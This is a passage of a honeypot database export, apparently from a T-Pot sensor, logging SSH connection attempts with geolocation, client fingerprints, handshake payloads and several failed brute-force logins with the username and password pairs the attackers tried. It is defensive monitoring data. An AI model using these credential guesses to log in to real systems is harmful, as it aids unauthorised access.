"123", "username": "maestro", "timestamp": "2021-09-20T11:03:52.645939Z", "@timestamp": "2021-09-20T11:03:52.645Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	\N
20154	46.101.115.211	109.199.241.180	Suricata	2021-09-20 14:03:54.418758+03	2021-09-20 14:15:02.026612+03	{"_id": "uwXgAnwBvYTbRNuEbfgf", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "flow": {"start": "2021-09-20T11:03:54.351283+0000", "pkts_toclient": 3, "pkts_toserver": 5, "bytes_toclient": 821, "bytes_toserver": 1336}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 8, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY SSH session in progress on Expected Port", "signature_id": 2001978}, "geoip": {"ip": "46.101.115.211", "asn": 14061, "as_org": "Digital Ocean, Inc.", "latitude": 50.1155, "location": {"lat": 50.1155, "lon": 8.6842}, "timezone": "Europe/Berlin", "city_name": "Frankfurt am Main", "longitude": 8.6842, "postal_code": "60313", "region_code": "HE", "region_name": "Hesse", "country_name": "Germany", "country_code2": "DE", "country_code3": "DE", "continent_code": "EU"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "46.101.115.211", "stream": 0, "dest_ip": "192.168.20.116", "flow_id": 473010831776819, "payload": "AAADzAYULs1uDVQMMDzMO7FhXor4kwAAAShjdXJ2ZTI1NTE5LXNoYTI1NixjdXJ2ZTI1NTE5LXNoYTI1NkBsaWJzc2gub3JnLGVjZGgtc2hhMi1uaXN0cDI1NixlY2RoLXNoYTItbmlzdHAzODQsZWNkaC1zaGEyLW5pc3RwNTIxLGRpZmZpZS1oZWxsbWFuLWdyb3VwMTgtc2hhNTEyLGRpZmZpZS1oZWxsbWFuLWdyb3VwMTYtc2hhNTEyLGRpZmZpZS1oZWxsbWFuLWdyb3VwLWV4Y2hhbmdlLXNoYTI1NixkaWZmaWUtaGVsbG1hbi1ncm91cDE0LXNoYTI1NixkaWZmaWUtaGVsbG1hbi1ncm91cDE0LXNoYTEsZGlmZmllLWhlbGxtYW4tZ3JvdXAxLXNoYTEsZXh0LWluZm8tYwAAAHFzc2gtZWQyNTUxOSxlY2RzYS1zaGEyLW5pc3RwNTIxLGVjZHNhLXNoYTItbmlzdHAzODQsZWNkc2Etc2hhMi1uaXN0cDI1Nixyc2Etc2hhMi01MTIscnNhLXNoYTItMjU2LHNzaC1yc2Esc3NoLWRzcwAAAHhhZXMyNTYtZ2NtQG9wZW5zc2guY29tLGFlczEyOC1nY21Ab3BlbnNzaC5jb20sYWVzMjU2LWN0cixhZXMxOTItY3RyLGFlczEyOC1jdHIsYWVzMjU2LWNiYyxhZXMxOTItY2JjLGFlczEyOC1jYmMsM2Rlcy1jYmMAAAB4YWVzMjU2LWdjbUBvcGVuc3NoLmNvbSxhZXMxMjgtZ2NtQG9wZW5zc2guY29tLGFlczI1Ni1jdHIsYWVzMTkyLWN0cixhZXMxMjgtY3RyLGFlczI1Ni1jYmMsYWVzMTkyLWNiYyxhZXMxMjgtY2JjLDNkZXMtY2JjAAAAe2htYWMtc2hhMi0yNTYtZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMi01MTItZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMS1ldG1Ab3BlbnNzaC5jb20saG1hYy1zaGEyLTI1NixobWFjLXNoYTItNTEyLGhtYWMtc2hhMQAAAHtobWFjLXNoYTItMjU2LWV0bUBvcGVuc3NoLmNvbSxobWFjLXNoYTItNTEyLWV0bUBvcGVuc3NoLmNvbSxobWFjLXNoYTEtZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMi0yNTYsaG1hYy1zaGEyLTUxMixobWFjLXNoYTEAAAAEbm9uZQAAAARub25lAAAAAAAAAAAAAAAAAAAAAAAAAA==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 32894, "app_proto": "ssh", "dest_port": 22, "timestamp": "2021-09-20T11:03:54.418758Z", "@timestamp": "2021-09-20T11:03:54.418Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "........n\\rT.0<.;.a^......(curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c...qssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss...xaes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc...xaes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc...{hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1...{hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1....none....none..................."}}	1	\N	\N	alert	known attacker	\N
20155	46.101.115.211	109.199.241.180	Fatt	2021-09-20 14:03:54.418758+03	2021-09-20 14:15:02.027613+03	{"_id": "vAXgAnwBvYTbRNuEbfi1", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "46.101.115.211", "asn": 14061, "as_org": "Digital Ocean, Inc.", "latitude": 50.1155, "location": {"lat": 50.1155, "lon": 8.6842}, "timezone": "Europe/Berlin", "city_name": "Frankfurt am Main", "longitude": 8.6842, "postal_code": "60313", "region_code": "HE", "region_name": "Hesse", "country_name": "Germany", "country_code2": "DE", "country_code3": "DE", "continent_code": "EU"}, "ip_rep": "known attacker", "src_ip": "46.101.115.211", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss", "hassh": "f555226df1963d1d3c09daf865abdc9a", "ccacts": "none", "ccastc": "none", "ceacts": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "ceastc": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "client": "SSH-2.0-libssh_0.9.6", "cmacts": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "cmastc": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}, "protocol": "ssh", "src_port": 32894, "dest_port": 22, "timestamp": "2021-09-20T11:03:54.418758", "@timestamp": "2021-09-20T11:03:54.418Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	\N
20178	159.75.114.202	109.199.241.180	Cowrie	2021-09-20 14:03:52.390497+03	2021-09-20 14:15:02.059612+03	{"_id": "tgXgAnwBvYTbRNuEZvhq", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "geoip": {"ip": "159.75.114.202", "latitude": 39.9289, "location": {"lat": 39.9289, "lon": 116.3883}, "timezone": "Asia/Shanghai", "longitude": 116.3883, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "159.75.114.202", "eventid": "cowrie.login.failed", "message": "login attempt [root/!123qwe] failed", "session": "c7c1d7d01de4", "@version": "1", "password": "!123qwe", "username": "root", "timestamp": "2021-09-20T11:03:52.390497Z", "@timestamp": "2021-09-20T11:03:52.390Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	\N
20156	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:03:54.388019+03	2021-09-20 14:15:02.028612+03	{"_id": "xAXgAnwBvYTbRNuEbvg8", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "46.101.115.211", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 32894, "timestamp": "2021-09-20T11:03:54.388019", "@timestamp": "2021-09-20T11:03:54.388Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
20157	46.101.115.211	109.199.241.180	Cowrie	2021-09-20 14:03:54.419356+03	2021-09-20 14:15:02.030613+03	{"_id": "xQXgAnwBvYTbRNuEbvg8", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc"], "geoip": {"ip": "46.101.115.211", "asn": 14061, "as_org": "Digital Ocean, Inc.", "latitude": 50.1155, "location": {"lat": 50.1155, "lon": 8.6842}, "timezone": "Europe/Berlin", "city_name": "Frankfurt am Main", "longitude": 8.6842, "postal_code": "60313", "region_code": "HE", "region_name": "Hesse", "country_name": "Germany", "country_code2": "DE", "country_code3": "DE", "continent_code": "EU"}, "hassh": "f555226df1963d1d3c09daf865abdc9a", "macCS": ["hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1"], "compCS": ["none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "46.101.115.211", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "ecdh-sha2-nistp256", "ecdh-sha2-nistp384", "ecdh-sha2-nistp521", "diffie-hellman-group18-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group14-sha256", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "rsa-sha2-512", "rsa-sha2-256", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a", "session": "d9a7437d9b97", "@version": "1", "timestamp": "2021-09-20T11:03:54.419356Z", "@timestamp": "2021-09-20T11:03:54.419Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}}	1	\N	cowrie.client.kex	\N	known attacker	\N
20158	46.101.115.211	109.199.241.180	Cowrie	2021-09-20 14:03:54.653217+03	2021-09-20 14:15:02.031614+03	{"_id": "xgXgAnwBvYTbRNuEbvg8", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "46.101.115.211", "asn": 14061, "as_org": "Digital Ocean, Inc.", "latitude": 50.1155, "location": {"lat": 50.1155, "lon": 8.6842}, "timezone": "Europe/Berlin", "city_name": "Frankfurt am Main", "longitude": 8.6842, "postal_code": "60313", "region_code": "HE", "region_name": "Hesse", "country_name": "Germany", "country_code2": "DE", "country_code3": "DE", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "46.101.115.211", "eventid": "cowrie.login.failed", "message": "login attempt [test/ZAQ!2wsx] failed", "session": "d9a7437d9b97", "@version": "1", "password": "ZAQ!2wsx", "username": "test", "timestamp": "2021-09-20T11:03:54.653217Z", "@timestamp": "2021-09-20T11:03:54.653Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	\N
20159	46.101.115.211	109.199.241.180	Cowrie	2021-09-20 14:03:55.689929+03	2021-09-20 14:15:02.033612+03	{"_id": "xwXgAnwBvYTbRNuEcfja", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "46.101.115.211", "asn": 14061, "as_org": "Digital Ocean, Inc.", "latitude": 50.1155, "location": {"lat": 50.1155, "lon": 8.6842}, "timezone": "Europe/Berlin", "city_name": "Frankfurt am Main", "longitude": 8.6842, "postal_code": "60313", "region_code": "HE", "region_name": "Hesse", "country_name": "Germany", "country_code2": "DE", "country_code3": "DE", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "46.101.115.211", "eventid": "cowrie.session.closed", "message": "Connection lost after 1 seconds", "session": "d9a7437d9b97", "@version": "1", "duration": 1.302877426147461, "timestamp": "2021-09-20T11:03:55.689929Z", "@timestamp": "2021-09-20T11:03:55.689Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	\N
20160	118.70.233.117	109.199.241.180	Cowrie	2021-09-20 14:03:56.922881+03	2021-09-20 14:15:02.034612+03	{"_id": "0QXgAnwBvYTbRNuEdvgM", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc"], "geoip": {"ip": "118.70.233.117", "asn": 18403, "as_org": "The Corporation for Financing & Promoting Technology", "latitude": 21.0313, "location": {"lat": 21.0313, "lon": 105.8516}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Hanoi", "longitude": 105.8516, "region_code": "HN", "region_name": "Hanoi", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "f555226df1963d1d3c09daf865abdc9a", "macCS": ["hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1"], "compCS": ["none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "118.70.233.117", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "ecdh-sha2-nistp256", "ecdh-sha2-nistp384", "ecdh-sha2-nistp521", "diffie-hellman-group18-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group14-sha256", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "rsa-sha2-512", "rsa-sha2-256", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a", "session": "57ce6324e96a", "@version": "1", "timestamp": "2021-09-20T11:03:56.922881Z", "@timestamp": "2021-09-20T11:03:56.922Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}}	1	\N	cowrie.client.kex	\N	known attacker	\N
20161	118.70.233.117	109.199.241.180	Suricata	2021-09-20 14:03:56.92225+03	2021-09-20 14:15:02.035613+03	{"_id": "0gXgAnwBvYTbRNuEePjY", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "flow": {"start": "2021-09-20T11:03:56.495650+0000", "pkts_toclient": 3, "pkts_toserver": 5, "bytes_toclient": 821, "bytes_toserver": 1336}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 8, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY SSH session in progress on Expected Port", "signature_id": 2001978}, "geoip": {"ip": "118.70.233.117", "asn": 18403, "as_org": "The Corporation for Financing & Promoting Technology", "latitude": 21.0313, "location": {"lat": 21.0313, "lon": 105.8516}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Hanoi", "longitude": 105.8516, "region_code": "HN", "region_name": "Hanoi", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "118.70.233.117", "stream": 0, "dest_ip": "192.168.20.116", "flow_id": 1745633264046114, "payload": "AAADzAYU3l7t0fDcTfq9PaQC05MUOQAAAShjdXJ2ZTI1NTE5LXNoYTI1NixjdXJ2ZTI1NTE5LXNoYTI1NkBsaWJzc2gub3JnLGVjZGgtc2hhMi1uaXN0cDI1NixlY2RoLXNoYTItbmlzdHAzODQsZWNkaC1zaGEyLW5pc3RwNTIxLGRpZmZpZS1oZWxsbWFuLWdyb3VwMTgtc2hhNTEyLGRpZmZpZS1oZWxsbWFuLWdyb3VwMTYtc2hhNTEyLGRpZmZpZS1oZWxsbWFuLWdyb3VwLWV4Y2hhbmdlLXNoYTI1NixkaWZmaWUtaGVsbG1hbi1ncm91cDE0LXNoYTI1NixkaWZmaWUtaGVsbG1hbi1ncm91cDE0LXNoYTEsZGlmZmllLWhlbGxtYW4tZ3JvdXAxLXNoYTEsZXh0LWluZm8tYwAAAHFzc2gtZWQyNTUxOSxlY2RzYS1zaGEyLW5pc3RwNTIxLGVjZHNhLXNoYTItbmlzdHAzODQsZWNkc2Etc2hhMi1uaXN0cDI1Nixyc2Etc2hhMi01MTIscnNhLXNoYTItMjU2LHNzaC1yc2Esc3NoLWRzcwAAAHhhZXMyNTYtZ2NtQG9wZW5zc2guY29tLGFlczEyOC1nY21Ab3BlbnNzaC5jb20sYWVzMjU2LWN0cixhZXMxOTItY3RyLGFlczEyOC1jdHIsYWVzMjU2LWNiYyxhZXMxOTItY2JjLGFlczEyOC1jYmMsM2Rlcy1jYmMAAAB4YWVzMjU2LWdjbUBvcGVuc3NoLmNvbSxhZXMxMjgtZ2NtQG9wZW5zc2guY29tLGFlczI1Ni1jdHIsYWVzMTkyLWN0cixhZXMxMjgtY3RyLGFlczI1Ni1jYmMsYWVzMTkyLWNiYyxhZXMxMjgtY2JjLDNkZXMtY2JjAAAAe2htYWMtc2hhMi0yNTYtZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMi01MTItZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMS1ldG1Ab3BlbnNzaC5jb20saG1hYy1zaGEyLTI1NixobWFjLXNoYTItNTEyLGhtYWMtc2hhMQAAAHtobWFjLXNoYTItMjU2LWV0bUBvcGVuc3NoLmNvbSxobWFjLXNoYTItNTEyLWV0bUBvcGVuc3NoLmNvbSxobWFjLXNoYTEtZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMi0yNTYsaG1hYy1zaGEyLTUxMixobWFjLXNoYTEAAAAEbm9uZQAAAARub25lAAAAAAAAAAAAAAAAAAAAAAAAAA==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 60958, "app_proto": "ssh", "dest_port": 22, "timestamp": "2021-09-20T11:03:56.922250Z", "@timestamp": "2021-09-20T11:03:56.922Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": ".......^....M..=.....9...(curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c...qssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss...xaes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc...xaes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc...{hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1...{hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1....none....none..................."}}	1	\N	\N	alert	known attacker	\N
20162	118.70.233.117	109.199.241.180	Suricata	2021-09-20 14:03:56.92215+03	2021-09-20 14:15:02.037613+03	{"_id": "0wXgAnwBvYTbRNuEePjY", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "118.70.233.117", "asn": 18403, "as_org": "The Corporation for Financing & Promoting Technology", "latitude": 21.0313, "location": {"lat": 21.0313, "lon": 105.8516}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Hanoi", "longitude": 105.8516, "region_code": "HN", "region_name": "Hanoi", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "118.70.233.117", "dest_ip": "192.168.20.116", "flow_id": 1745633264046114, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 60958, "dest_port": 22, "timestamp": "2021-09-20T11:03:56.922150Z", "@timestamp": "2021-09-20T11:03:56.922Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	\N
20163	5.188.62.250	109.199.241.180	Cowrie	2021-09-20 14:03:57.850041+03	2021-09-20 14:15:02.038614+03	{"_id": "1wXgAnwBvYTbRNuEefj1", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "5.188.62.250", "asn": 44050, "as_org": "Petersburg Internet Network ltd.", "latitude": 55.7386, "location": {"lat": 55.7386, "lon": 37.6068}, "timezone": "Europe/Moscow", "longitude": 37.6068, "country_name": "Russia", "country_code2": "RU", "country_code3": "RU", "continent_code": "EU"}, "sensor": "b63cdd9641b8", "src_ip": "5.188.62.250", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-Go'", "session": "0a2eba02f974", "version": "b'SSH-2.0-Go'", "@version": "1", "timestamp": "2021-09-20T11:03:57.850041Z", "@timestamp": "2021-09-20T11:03:57.850Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	\N	\N
